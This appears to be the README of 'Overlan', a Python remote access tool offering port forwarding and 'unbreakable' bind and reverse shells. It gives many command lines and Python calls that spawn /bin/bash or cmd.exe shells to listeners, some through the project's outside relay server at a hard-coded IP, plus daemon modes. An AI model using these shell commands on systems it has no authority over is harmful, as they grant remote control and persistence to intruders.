Overlan

Python Remote Access Tools

For full documentation visit Overlan.

Functionality

• Remote port forwarding (http & tcp)
• Local port forwarding (http & tcp)
• TCP listen
• TCP connect
• Unbreakable Bind Shell
• Unbreakable Reverse Shell
• Auto spawn pty (Unix only)
• AES derivation password protected
• Cross Platform

Disclamer

THIS SOFTWARE IS INTENDED ONLY FOR EDUCATION PURPOSES! DO NOT USE IT TO INFLICT DAMAGE TO ANYONE! USING MY APPLICATION YOU ARE AUTHOMATICALLY AGREE WITH ALL RULES AND TAKE RESPONSIBITITY FOR YOUR ACTION! THE VIOLATION OF LAWS CAN CAUSE SERIOUS CONSEQUENCES! THE DEVELOPER ASSUMES NO LIABILITY AND IS NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.

Intended for

• Windows systems
• Unix systems

Requirements

• pycryptodome
• paramiko

Install

Unix:

pip install overlan

# or

python3 -m pip install overlan

Windows:

py -m pip install overlan

Git:

git clone https://github.com/YannBouyeron/overlan

cd overlan

python3 setup.py install

Commands Line Interface

Listen

Listen on localhost port 4444

overlan -l 4444

Listen on localhost port 4444 password protected

overlan -l 4444 -k mysecret

Listen on port 4444 and remote forward to overlan server port 8888

overlan -l 4444 -R 8888

Connect

Connect to localhost port 4444

overlan localhost 4444

Connect to localhost port 4444 password protected

overlan localhost 4444 -k mysecret

Connect to overlan server port 4444

overlan overlan 4444

Port forwarding

Overlan

Remote forward localhost 4444 to overlan server port 8888

overlan 4444 -R 8888

Local forward overlan server port 8888 to localhost 4444

overlan 8888 -L 4444

SSH

Remote forward localhost 4444 to overlan server port 8888

ssh -N -R 8888:localhost:4444 overlan@141.94.203.12 -p 22

Local forward localhost 4444 to overlan server port 8888

ssh -N -L 4444:localhost:8888 overlan@141.94.203.12 -p 22

Bind Shell

Unix

• overlan -l 4444 -e /bin/bash - BindShell listen on localhost port 4444.

• overlan -l 4444 -e pty:/bin/bash - Interactive PTY BindShell listen on localhost port 4444. (Don't support password)

• overlan -l 4444 -e /bin/bash -R 8888 - BindShell listen on port 4444 and remote forward to overlan server port 8888.

• overlan -l 4444 -e /bin/bash -k mypassowrd - Password protected BindShell listen on localhost 4444.

• overlan -l 4444 -e /bin/bash -k mypassword -R 8888 - Password protected BindShell listen on port 4444 and remote forward to overlan server port 8888.

Windows

• overlan -l 4444 -e cmd.exe - BindShell listen on localhost port 4444.

• overlan -l 4444 -e cmd.exe -R 8888 - BindShell listen on port 4444 and remote forward to overlan server port 8888.

• overlan -l 4444 -e cmd.exe -k mypassowrd - Password protected BindShell listen on localhost port 4444.

• overlan -l 4444 -e cmd.exe -k mypassword -R 8888 - Password protected BindShell listen on port 4444 and remote forward to overlan server port 8888.

Reverse Shell

Unix

• overlan localhost 4444 -e /bin/bash - ReverseShell connect to listener on localhost port 4444.

• overlan localhost 4444 -e pty:/bin/bash - Interactive PTY ReverseShell connect to listener on localhost port 4444. (Don't support password)

• overlan overlan 4444 -e /bin/bash - ReverseShell connect to listener on overlan server port 4444.

• overlan localhost 4444 -e /bin/bash -k mypassowrd - Password protected ReverseShell connect to localhost port 4444.

• overlan overlan 4444 -e /bin/bash -k mypassowrd - Password protected ReverseShell connect to overlan server port 4444.

Windows

• overlan localhost 4444 -e cmd.exe - ReverseShell connect to listener on localhost port 4444.

• overlan overlan 4444 -e cmd.exe - ReverseShell connect to listener on overlan server port 4444.

• overlan localhost 4444 -e cmd.exe -k mypassowrd - Password protected ReverseShell connect to localhost port 4444.

• overlan overlan 4444 -e cmd.exe -k mypassowrd - Password protected ReverseShell connect to overlan server port 4444.

Help

• overlan -h - Print help message and exit.

usage: overlan [-h] [-l] [-e EXECUTE] [-c] [-R REMOTE] [-L LOCAL] [-k KEY]
               [-d DELAY]
               [host] port

positional arguments:
  host
  port

optional arguments:
  -h, --help            show this help message and exit
  -l, --listen          Listen on port specified
  -e EXECUTE, --execute EXECUTE
                        Executable: /bin/bash, /bin/sh, cmd.exe
  -c, --connect         Connect to host and port specified
  -R REMOTE, --remote REMOTE
                        Remote forward to remote_port
  -L LOCAL, --local LOCAL
                        Local forward from remote_port
  -k KEY, --key KEY     Password for AES derivation key
  -d DELAY, --delay DELAY
                        Timeout delay

Use within python

Use overlan ssh server:

from overlan import Overlan

v = Overlan()

Specify another external ssh server:

from overlan import Overlan

v = Overlan(username=<...>, hostname=<...>, port=<...>, password=<...>)
 

Listen

v.listen(<port>)

Connect:

v.connect(<host>, <port>)

Remote forward:

v.rf(<local_port>, <remote_port>)

Local forward:

v.lf(<local_port>, <remote_port>)

BindShell:

# linux

v.listen(<port>, executable="/bin/bash", key="somesecret")

# windows

v.listen(<port>, executable="cmd.exe", key="somesecret")

# as daemon

v.bs(<port>, executable="/bin/bash", key="somesecret")

ReverseShell:

#linux

v.connect(<host>, <port>, executable="/bin/bash", key="somesecret")

# windows

v.connect(<host>, <port>, executable="cmd.exe", key="somesecret")

# as daemon

v.rs(<host>, <port>, executable="/bin/bash", key="somesecret")